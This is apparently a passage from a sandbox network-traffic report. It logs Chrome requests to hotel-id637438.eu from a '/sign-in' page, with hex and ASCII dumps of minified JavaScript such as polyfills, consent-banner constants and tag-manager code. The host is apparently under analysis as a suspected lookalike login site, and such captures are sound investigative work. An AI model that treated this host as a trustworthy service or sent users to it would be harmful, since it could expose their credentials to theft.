2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 72 29 26 26 28 65 5b 72 5d 3d 74 5b 72 5d 29 3b 72 65 74 75 72 6e 20 65 7d 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 64 28 65 2c 73 2c 61 2c 6c 29 7b 72 65 74 75 72 6e 20 6e 65 77 28 61 3d 61 7c 7c 50 72 6f 6d 69 73 65 29 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 74 72 79 7b 69 28 6c 2e 6e 65 78 74 28 65 29 29 7d 63 61 74 63 68 28 65 29 7b 74 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 74 72 79 7b 69 28 6c 2e 74 68 72 6f 77 28 65 29 29 7d 63 61 74 63 68 28 65 29 7b 74 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 76 61 72 20 74 3b 65 2e 64 6f 6e 65 3f 6f 28 65 2e 76 61 6c 75 Data Ascii: wnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function d(e,s,a,l){return new(a=a\|\|Promise)(function(o,t){function n(e){try{i(l.next(e))}catch(e){t(e)}}function r(e){try{i(l.throw(e))}catch(e){t(e)}}function i(e){var t;e.done?o(e.valu
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 6e 7b 76 61 6c 75 65 3a 74 5b 30 5d 3f 74 5b 31 5d 3a 76 6f 69 64 20 30 2c 64 6f 6e 65 3a 21 30 7d 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 71 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 30 2c 74 3d 30 2c 6f 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 3c 6f 3b 74 2b 2b 29 65 2b 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 76 61 72 20 6e 3d 41 72 72 61 79 28 65 29 2c 72 3d 30 2c 74 3d 30 3b 74 3c 6f 3b 74 2b 2b 29 66 6f 72 28 76 61 72 20 69 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 2c 73 3d 30 2c 61 3d 69 2e 6c 65 6e 67 74 68 3b 73 3c 61 3b 73 2b 2b 2c 72 2b 2b 29 6e 5b 72 5d 3d 69 5b 73 5d 3b 72 65 74 75 72 6e 20 6e 7d 28 65 3d 4c 3d 4c 7c 7c 7b 7d 29 5b 65 2e 41 43 54 49 56 45 3d 30 5d 3d 22 41 43 54 49 56 45 22 2c 65 5b 65 Data Ascii: n{value:t[0]?t[1]:void 0,done:!0}}}}function q(){for(var e=0,t=0,o=arguments.length;t<o;t++)e+=arguments[t].length;for(var n=Array(e),r=0,t=0;t<o;t++)for(var i=arguments[t],s=0,a=i.length;s<a;s++,r++)n[r]=i[s];return n}(e=L=L\|\|{})[e.ACTIVE=0]="ACTIVE",e[e
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 61 74 63 68 28 65 29 7b 4a 28 74 2c 65 29 7d 76 61 72 20 6e 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 4a 28 65 2c 74 29 7b 65 2e 5f 73 74 61 74 65 3d 32 2c 65 2e 5f 76 61 6c 75 65 3d 74 2c 59 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 59 28 65 29 7b 32 3d 3d 3d 65 2e 5f 73 74 61 74 65 26 26 30 3d 3d 3d 65 2e 5f 64 65 66 65 72 72 65 64 73 2e 6c 65 6e 67 74 68 26 26 7a 2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 5f 68 61 6e 64 6c 65 64 7c 7c 7a 2e 5f 75 6e 68 61 6e 64 6c 65 64 52 65 6a 65 63 74 69 6f 6e 46 6e 28 65 2e 5f 76 61 6c 75 65 29 7d 29 3b 66 6f 72 28 76 61 72 20 74 3d 30 2c 6f 3d 65 2e 5f 64 65 66 65 72 72 65 64 73 2e 6c 65 6e 67 74 68 3b 74 3c 6f 3b 74 2b 2b 29 4b 28 65 2c 65 2e 5f 64 65 66 65 72 72 65 64 73 5b 74 5d 29 Data Ascii: atch(e){J(t,e)}var n,r}function J(e,t){e._state=2,e._value=t,Y(e)}function Y(e){2===e._state&&0===e._deferreds.length&&z._immediateFn(function(){e._handled\|\|z._unhandledRejectionFn(e._value)});for(var t=0,o=e._deferreds.length;t<o;t++)K(e,e._deferreds[t])
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 7a 3f 74 3a 6e 65 77 20 7a 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 28 74 29 7d 29 7d 2c 7a 2e 72 65 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 7a 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 28 6f 29 7d 29 7d 2c 7a 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 7a 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 55 28 72 29 29 72 65 74 75 72 6e 20 74 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 2e 72 61 63 65 20 61 63 63 65 70 74 73 20 61 6e 20 61 72 72 61 79 22 29 29 3b 66 6f 72 28 76 61 72 20 6f 3d 30 2c 6e 3d 72 2e 6c 65 6e 67 74 68 3b 6f 3c 6e 3b 6f 2b 2b 29 7a 2e 72 65 73 6f 6c 76 65 28 72 5b 6f 5d 29 2e 74 68 65 6e 28 65 2c 74 29 7d Data Ascii: z?t:new z(function(e){e(t)})},z.reject=function(o){return new z(function(e,t){t(o)})},z.race=function(r){return new z(function(e,t){if(!U(r))return t(new TypeError("Promise.race accepts an array"));for(var o=0,n=r.length;o<n;o++)z.resolve(r[o]).then(e,t)}
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 2c 74 29 7b 72 65 74 75 72 6e 28 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 74 3e 74 68 69 73 2e 6c 65 6e 67 74 68 29 26 26 28 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 29 2c 74 68 69 73 2e 73 75 62 73 74 72 69 6e 67 28 74 2d 65 2e 6c 65 6e 67 74 68 2c 74 29 3d 3d 3d 65 7d 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 7d 2c 24 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 69 74 43 6c 6f 73 65 73 74 50 6f 6c 79 66 69 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 74 63 68 65 73 7c 7c 28 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 74 63 68 65 73 3d 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 73 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 45 Data Ascii: ,t){return(void 0===t\|\|t>this.length)&&(t=this.length),this.substring(t-e.length,t)===e},writable:!0,configurable:!0})},$.prototype.initClosestPolyfill=function(){Element.prototype.matches\|\|(Element.prototype.matches=Element.prototype.msMatchesSelector\|\|E
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 73 20 69 73 20 6e 75 6c 6c 20 6f 72 20 6e 6f 74 20 64 65 66 69 6e 65 64 22 29 3b 66 6f 72 28 76 61 72 20 74 3d 4f 62 6a 65 63 74 28 74 68 69 73 29 2c 6f 3d 74 2e 6c 65 6e 67 74 68 3e 3e 3e 30 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3e 3e 30 2c 72 3d 6e 3c 30 3f 4d 61 74 68 2e 6d 61 78 28 6f 2b 6e 2c 30 29 3a 4d 61 74 68 2e 6d 69 6e 28 6e 2c 6f 29 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 6e 3d 76 6f 69 64 20 30 3d 3d 3d 6e 3f 6f 3a 6e 3e 3e 30 2c 69 3d 6e 3c 30 3f 4d 61 74 68 2e 6d 61 78 28 6f 2b 6e 2c 30 29 3a 4d 61 74 68 2e 6d 69 6e 28 6e 2c 6f 29 3b 72 3c 69 3b 29 74 5b 72 5d 3d 65 2c 72 2b 2b 3b 72 65 74 75 72 6e 20 74 7d 7d 29 7d 2c 24 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 50 6f 6c 79 66 69 6c 6c 3d Data Ascii: s is null or not defined");for(var t=Object(this),o=t.length>>>0,n=arguments[1]>>0,r=n<0?Math.max(o+n,0):Math.min(n,o),n=arguments[2],n=void 0===n?o:n>>0,i=n<0?Math.max(o+n,0):Math.min(n,o);r<i;)t[r]=e,r++;return t}})},$.prototype.initCustomEventPolyfill=
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 3d 22 41 63 63 65 70 74 41 6c 6c 22 2c 65 2e 52 65 6a 65 63 74 41 6c 6c 3d 22 52 65 6a 65 63 74 41 6c 6c 22 2c 65 2e 55 70 64 61 74 65 43 6f 6e 73 65 6e 74 3d 22 55 70 64 61 74 65 43 6f 6e 73 65 6e 74 22 2c 28 65 3d 6f 65 3d 6f 65 7c 7c 7b 7d 29 5b 65 2e 50 75 72 70 6f 73 65 3d 31 5d 3d 22 50 75 72 70 6f 73 65 22 2c 65 5b 65 2e 53 70 65 63 69 61 6c 46 65 61 74 75 72 65 3d 32 5d 3d 22 53 70 65 63 69 61 6c 46 65 61 74 75 72 65 22 2c 28 65 3d 6e 65 3d 6e 65 7c 7c 7b 7d 29 2e 4c 65 67 61 6c 3d 22 6c 65 67 61 6c 22 2c 65 2e 55 73 65 72 46 72 69 65 6e 64 6c 79 3d 22 75 73 65 72 5f 66 72 69 65 6e 64 6c 79 22 2c 28 65 3d 72 65 3d 72 65 7c 7c 7b 7d 29 2e 54 6f 70 3d 22 74 6f 70 22 2c 65 2e 42 6f 74 74 6f 6d 3d 22 62 6f 74 74 6f 6d 22 2c 28 65 3d 69 65 3d 69 65 7c Data Ascii: ="AcceptAll",e.RejectAll="RejectAll",e.UpdateConsent="UpdateConsent",(e=oe=oe\|\|{})[e.Purpose=1]="Purpose",e[e.SpecialFeature=2]="SpecialFeature",(e=ne=ne\|\|{}).Legal="legal",e.UserFriendly="user_friendly",(e=re=re\|\|{}).Top="top",e.Bottom="bottom",(e=ie=ie\|
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 7c 7b 7d 29 5b 65 2e 48 6f 73 74 3d 31 5d 3d 22 48 6f 73 74 22 2c 65 5b 65 2e 47 65 6e 56 65 6e 3d 32 5d 3d 22 47 65 6e 56 65 6e 22 2c 65 5b 65 2e 48 6f 73 74 41 6e 64 47 65 6e 56 65 6e 3d 33 5d 3d 22 48 6f 73 74 41 6e 64 47 65 6e 56 65 6e 22 2c 28 65 3d 79 65 3d 79 65 7c 7c 7b 7d 29 5b 65 2e 6d 69 6e 44 61 79 73 3d 31 5d 3d 22 6d 69 6e 44 61 79 73 22 2c 65 5b 65 2e 6d 61 78 44 61 79 73 3d 33 30 5d 3d 22 6d 61 78 44 61 79 73 22 2c 65 5b 65 2e 6d 61 78 59 65 61 72 3d 33 31 35 33 36 65 33 5d 3d 22 6d 61 78 59 65 61 72 22 2c 65 5b 65 2e 6d 61 78 53 65 63 54 6f 44 61 79 73 3d 38 36 34 30 30 5d 3d 22 6d 61 78 53 65 63 54 6f 44 61 79 73 22 2c 28 65 3d 66 65 3d 66 65 7c 7c 7b 7d 29 5b 65 2e 52 54 4c 3d 30 5d 3d 22 52 54 4c 22 2c 65 5b 65 2e 4c 54 52 3d 31 5d 3d Data Ascii: \|{})[e.Host=1]="Host",e[e.GenVen=2]="GenVen",e[e.HostAndGenVen=3]="HostAndGenVen",(e=ye=ye\|\|{})[e.minDays=1]="minDays",e[e.maxDays=30]="maxDays",e[e.maxYear=31536e3]="maxYear",e[e.maxSecToDays=86400]="maxSecToDays",(e=fe=fe\|\|{})[e.RTL=0]="RTL",e[e.LTR=1]=
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 22 2c 65 2e 43 44 50 41 3d 22 43 44 50 41 22 2c 65 2e 55 53 4e 41 54 49 4f 4e 41 4c 3d 22 55 53 4e 41 54 49 4f 4e 41 4c 22 2c 65 2e 43 55 53 54 4f 4d 3d 22 43 55 53 54 4f 4d 22 2c 65 2e 43 4f 4c 4f 52 41 44 4f 3d 22 43 4f 4c 4f 52 41 44 4f 22 2c 65 2e 43 4f 4e 4e 45 43 54 49 43 55 54 3d 22 43 54 44 50 41 22 2c 65 2e 55 43 50 41 3d 22 55 43 50 41 22 2c 28 65 3d 45 65 3d 45 65 7c 7c 7b 7d 29 2e 4e 61 6d 65 3d 22 4f 54 47 50 50 43 6f 6e 73 65 6e 74 22 2c 65 5b 65 2e 43 68 75 6e 6b 53 69 7a 65 3d 34 65 33 5d 3d 22 43 68 75 6e 6b 53 69 7a 65 22 2c 65 2e 43 68 75 6e 6b 43 6f 75 6e 74 50 61 72 61 6d 3d 22 47 50 50 43 6f 6f 6b 69 65 73 43 6f 75 6e 74 22 2c 28 65 3d 56 65 3d 56 65 7c 7c 7b 7d 29 2e 4d 73 70 61 43 6f 76 65 72 65 64 54 72 61 6e 73 61 63 74 69 6f 6e Data Ascii: ",e.CDPA="CDPA",e.USNATIONAL="USNATIONAL",e.CUSTOM="CUSTOM",e.COLORADO="COLORADO",e.CONNECTICUT="CTDPA",e.UCPA="UCPA",(e=Ee=Ee\|\|{}).Name="OTGPPConsent",e[e.ChunkSize=4e3]="ChunkSize",e.ChunkCountParam="GPPCookiesCount",(e=Ve=Ve\|\|{}).MspaCoveredTransaction

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49746	23.211.8.90	443

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:29 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-08 22:43:29 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=149250 Date: Mon, 08 Jul 2024 22:43:29 GMT Content-Length: 55 Connection: close X-CID: 2
2024-07-08 22:43:29 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49750	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:30 UTC	602	OUT	GET /static/etnht.gif HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:30 UTC	706	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:30 GMT Content-Type: image/gif Content-Length: 35 Connection: close last-modified: Sat, 06 Jul 2024 13:10:44 GMT etag: "7491443658cb4eea633ce9ae605e297e" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6881 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RKG59OkU%2F4GR%2BkDcqC7BbXsNxhqTjjBfG3bPNxRA6OmrBvfk5EGfnqjZDiB3LunYCO5ys0SiDxi29%2FhfKRCq2Ls66vS9WAe55Yf2%2FdPSR3oSFWSsJmlbt1sCxpGjHPZrWghhSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397f2be80437f-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:30 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 90 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 04 01 00 3b Data Ascii: GIF89a,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49749	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:30 UTC	600	OUT	GET /static/analytics.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:30 UTC	660	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 52916 Connection: close last-modified: Sat, 06 Jul 2024 13:10:49 GMT etag: "3f7cfc4fd3b902f4c87b8b973738b340" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SpNBhCZXICUHF94kVyYZRBVpM2xbuMYZ7rzrZVE4vV70ndckH5e3DAUQpEp0D33QkCMq55E8qRAvu0Y%2FRvzuBqW9kqIEj8295y6zM8E9yYTlsMhI62Gfv7MHCzd1xADnGqOBAA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397f2b9cd41e9-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:30 UTC	709	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 6e 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 70 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 76 61 72 20 63 3d 6e 3b 61 5b 30 5d 69 6e 20 63 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 2e 65 78 65 63 53 63 72 69 70 74 7c 7c 63 2e 65 78 65 63 53 63 72 69 70 74 28 22 76 61 72 20 22 2b 61 5b 30 5d 29 3b 66 6f 72 28 76 61 72 20 64 3b 61 2e 6c 65 6e 67 74 68 26 26 28 64 3d 61 2e 73 68 69 66 74 28 29 29 Data Ascii: (function(){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift())
2024-07-08 22:43:30 UTC	1369	IN	Data Raw: 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 3b 29 7b 76 61 72 20 65 3d 62 28 2d 31 29 2c 66 3d 62 28 30 29 2c 68 3d 62 28 36 34 29 2c 67 3d 62 28 36 34 29 3b 69 66 28 36 34 3d 3d 3d 67 26 26 2d 31 3d 3d 3d 65 29 72 65 74 75 72 6e 20 63 3b 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 3c 3c 32 7c 66 3e 3e 34 29 3b 36 34 21 3d 68 26 26 28 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 66 3c 3c 34 26 32 34 30 7c 68 3e 3e 32 29 2c 36 34 21 3d 67 26 26 28 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 68 3c 3c 36 26 31 39 32 7c 67 29 29 29 7d 7d 3b 76 61 72 20 77 3d 7b 7d 2c 79 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 77 2e 54 41 47 47 49 4e 47 3d 77 2e 54 41 47 47 49 4e 47 7c 7c 5b 5d 3b 77 2e 54 Data Ascii: var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.T
2024-07-08 22:43:30 UTC	1369	IN	Data Raw: 20 63 2e 74 61 72 67 65 74 2e 63 74 69 64 3d 3d 3d 61 2e 63 74 69 64 26 26 63 2e 74 61 72 67 65 74 2e 69 73 44 65 73 74 69 6e 61 74 69 6f 6e 3d 3d 3d 61 2e 69 73 44 65 73 74 69 6e 61 74 69 6f 6e 7d 29 7c 7c 62 2e 70 65 6e 64 69 6e 67 2e 70 75 73 68 28 7b 74 61 72 67 65 74 3a 61 2c 6f 6e 4c 6f 61 64 3a 76 6f 69 64 20 30 7d 29 7d 2c 65 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 63 6f 6e 74 61 69 6e 65 72 3d 7b 7d 3b 74 68 69 73 2e 64 65 73 74 69 6e 61 74 69 6f 6e 3d 7b 7d 3b 74 68 69 73 2e 63 61 6e 6f 6e 69 63 61 6c 3d 7b 7d 3b 74 68 69 73 2e 70 65 6e 64 69 6e 67 3d 5b 5d 7d 2c 4d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 4b 28 29 2c 62 3d 61 2e 74 69 64 72 3b 62 7c 7c 28 62 3d 6e 65 77 20 65 61 2c 61 2e 74 69 64 72 3d 62 29 3b 72 65 Data Ascii: c.target.ctid===a.ctid&&c.target.isDestination===a.isDestination})\|\|b.pending.push({target:a,onLoad:void 0})},ea=function(){this.container={};this.destination={};this.canonical={};this.pending=[]},M=function(){var a=K(),b=a.tidr;b\|\|(b=new ea,a.tidr=b);re
2024-07-08 22:43:30 UTC	1369	IN	Data Raw: 66 72 61 67 6d 65 6e 74 22 3a 61 3d 61 2e 68 61 73 68 2e 72 65 70 6c 61 63 65 28 22 23 22 2c 22 22 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 61 3d 61 26 26 61 2e 68 72 65 66 7d 72 65 74 75 72 6e 20 61 7d 2c 4f 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 2e 72 65 70 6c 61 63 65 28 22 3a 22 2c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 22 22 7d 2c 52 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 49 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 61 26 26 28 62 2e 68 72 65 66 3d 61 29 3b 76 61 72 20 63 3d 62 2e 70 61 74 68 6e 61 6d 65 3b 22 2f 22 21 3d 3d 63 5b 30 5d 26 26 28 61 7c 7c 79 28 31 29 2c 63 3d 22 2f 22 2b 63 29 3b 61 3d 62 2e 68 6f 73 74 6e 61 6d 65 2e 72 65 70 6c 61 63 65 28 4e 2c Data Ascii: fragment":a=a.hash.replace("#","");break;default:a=a&&a.href}return a},O=function(a){return a?a.replace(":","").toLowerCase():""},R=function(a){var b=I.createElement("a");a&&(b.href=a);var c=b.pathname;"/"!==c[0]&&(a\|\|y(1),c="/"+c);a=b.hostname.replace(N,
2024-07-08 22:43:30 UTC	1369	IN	Data Raw: 20 6e 65 77 20 52 65 67 45 78 70 28 22 28 2e 2a 3f 29 28 5e 7c 26 29 22 2b 61 2b 22 3d 28 5b 5e 26 5d 2a 29 26 3f 28 2e 2a 29 22 29 7d 0a 76 61 72 20 58 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5b 5d 2c 63 3b 66 6f 72 28 63 20 69 6e 20 61 29 69 66 28 61 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 63 29 29 7b 76 61 72 20 64 3d 61 5b 63 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 64 3d 3d 3d 64 26 26 6e 75 6c 6c 21 3d 3d 64 26 26 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 64 2e 74 6f 53 74 72 69 6e 67 28 29 29 7b 62 2e 70 75 73 68 28 63 29 3b 76 61 72 20 65 3d 62 2c 66 3d 65 2e 70 75 73 68 3b 64 3d 53 74 72 69 6e 67 28 64 29 3b 72 3d 72 7c 7c 75 28 29 3b 76 3d 76 7c 7c 71 28 29 3b 66 6f 72 28 76 61 72 20 68 3d 5b Data Ascii: new RegExp("(.?)(^\|&)"+a+"=([^&])&?(.*)")}var X=function(a){var b=[],c;for(c in a)if(a.hasOwnProperty(c)){var d=a[c];if(void 0!==d&&d===d&&null!==d&&"[object Object]"!==d.toString()){b.push(c);var e=b,f=e.push;d=String(d);r=r\|\|u();v=v\|\|q();for(var h=[
2024-07-08 22:43:30 UTC	1369	IN	Data Raw: 6e 20 62 7d 0a 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 2c 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 66 2c 68 29 7b 66 3d 70 61 28 22 5f 67 6c 22 2c 66 29 3b 66 2e 6c 65 6e 67 74 68 26 26 28 66 3d 68 2b 66 29 3b 72 65 74 75 72 6e 20 66 7d 69 66 28 48 26 26 48 2e 72 65 70 6c 61 63 65 53 74 61 74 65 29 7b 76 61 72 20 65 3d 57 28 22 5f 67 6c 22 29 3b 69 66 28 65 2e 74 65 73 74 28 62 29 7c 7c 65 2e 74 65 73 74 28 63 29 29 61 3d 51 28 61 2c 22 70 61 74 68 22 29 2c 62 3d 64 28 62 2c 22 3f 22 29 2c 63 3d 64 28 63 2c 22 23 22 29 2c 48 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 7b 7d 2c 76 6f 69 64 20 30 2c 22 22 2b 61 2b 62 2b 63 29 7d 7d 0a 76 61 72 20 6e 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 72 79 7b 61 3a 7b 69 66 28 61 29 7b 62 3a 7b 66 6f 72 28 76 Data Ascii: n b}function oa(a,b,c){function d(f,h){f=pa("_gl",f);f.length&&(f=h+f);return f}if(H&&H.replaceState){var e=W("_gl");if(e.test(b)\|\|e.test(c))a=Q(a,"path"),b=d(b,"?"),c=d(c,"#"),H.replaceState({},void 0,""+a+b+c)}}var na=function(a){try{a:{if(a){b:{for(v
